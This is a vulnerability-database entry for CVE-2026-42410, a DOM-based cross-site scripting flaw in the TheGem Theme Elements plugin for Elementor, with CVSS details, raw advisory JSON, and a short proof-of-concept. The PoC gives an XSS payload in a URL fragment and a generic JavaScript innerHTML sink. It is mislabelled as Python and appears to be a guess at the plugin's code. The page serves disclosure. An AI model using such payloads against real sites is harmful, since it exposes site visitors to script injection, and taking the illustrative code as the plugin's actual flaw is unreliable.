Security Vulnerability Report
中文
CVE-2026-42410 CVSS 6.5 MEDIUM

CVE-2026-42410

Published: 2026-04-27 12:16:24
Last Modified: 2026-04-27 18:37:59

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) allows DOM-Based XSS.This issue affects TheGem Theme Elements (for Elementor): from n/a before 5.12.1.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CodexThemes TheGem Theme Elements (for Elementor) < 5.12.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-42410 (DOM-Based XSS) // The vulnerability exists in TheGem Theme Elements plugin before 5.12.1.1 // Step 1: Attacker crafts a URL with a payload in the fragment // Example: https://victim-site.com/page/#<img src=x onerror=alert('XSS')> // Step 2: Simulate the vulnerable client-side code behavior // (This typically happens inside the plugin's bundled JS files) function vulnerableFunction() { // The vulnerable script reads the hash directly without sanitization var userInput = window.location.hash.substring(1); // It inserts the unsanitized input into the DOM via innerHTML var targetElement = document.getElementById('some-element-id'); if (targetElement) { targetElement.innerHTML = "Displaying: " + userInput; // If the input contains HTML/JS tags, they will be executed here } } // Note: Actual exploitation requires the victim to click the link and interact with the page.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42410", "sourceIdentifier": "[email protected]", "published": "2026-04-27T12:16:23.883", "lastModified": "2026-04-27T18:37:59.213", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) allows DOM-Based XSS.This issue affects TheGem Theme Elements (for Elementor): from n/a before 5.12.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/thegem-elements-elementor/vulnerability/wordpress-thegem-theme-elements-for-elementor-plugin-5-12-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}